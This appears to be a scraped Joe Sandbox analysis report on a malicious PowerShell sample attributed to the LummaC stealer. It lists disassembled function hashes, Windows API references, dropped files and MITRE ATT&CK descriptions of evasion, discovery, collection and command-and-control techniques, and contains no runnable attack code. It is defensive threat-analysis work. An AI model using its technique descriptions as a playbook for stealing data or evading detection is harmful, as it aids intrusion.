Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8498760d4fd35d3ea266c78330cb706e32dc615872d63581c58adea2d3da384d
Instruction ID: c4be51e40530d68c27398f1af73b3e73a6dd044f4958752dab6c4cdb8f1caa8c
Opcode Fuzzy Hash: 8498760d4fd35d3ea266c78330cb706e32dc615872d63581c58adea2d3da384d
Instruction Fuzzy Hash: 91A002A6C89400C7E5535E147843175F13C5317315F04707098CF37513A521D358A64F

Function 0034D9A7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 110COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 0034DB06

Strings

V_, xrefs: 0034D9FB
WR, xrefs: 0034DA03
hR, xrefs: 0034DA0B

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: DrivesLogical
String ID: V_$WR$hR
API String ID: 999431828-2485720528
Opcode ID: a79be2d87f07743c2e320027f7a1d495a9fd61942f98e3bc0cec04d31005eca2
Instruction ID: 16708f71505c20b991eee47c5c7af0899aa588352cd98521d3564206d836c97e
Opcode Fuzzy Hash: a79be2d87f07743c2e320027f7a1d495a9fd61942f98e3bc0cec04d31005eca2
Instruction Fuzzy Hash: B63151B060C3418FC321DF49C99062ABBF4EF86794F50091CE5C68B361E379A945CB9B

Function 0035864F Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00358754

Strings

2, xrefs: 00358A9B
Fl^q, xrefs: 00358792

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: FreeLibrary
String ID: Fl^q$2
API String ID: 3664257935-3497717864
Opcode ID: c3bbe6760971ef161baa9230fd5532cfe7abfe475ce53a460cc46b8d3e55bfc0
Instruction ID: 8274f05317bdacebeaec3f9cd5ba3ab1ef980ccea79b8d1e57577d291f2ac885
Opcode Fuzzy Hash: c3bbe6760971ef161baa9230fd5532cfe7abfe475ce53a460cc46b8d3e55bfc0
Instruction Fuzzy Hash: 28E16C70104B828ED722CB35C850BE7BBE1AF16346F44485ED8EEAB292DB757549CF60

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ofsetvideofre.click.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SearchIndexer.ex_5b8cc603268ff1b7a1fe94191b1c93418820dd_9e0a92cb_c135ed26-587d-4692-b0ac-7d21cb68c305\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SearchIndexer.ex_8eb7fb823ff285b9040204d6d2ff8176bc27e_9e0a92cb_1202c3d6-959a-466d-943c-50c080f7f305\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER829F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8669.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER86D7.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA3C3.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA480.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4B0.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\7cce520d

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fymvsvd.bk5.ps1

Windows Analysis Report
ofsetvideofre.click.ps1

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre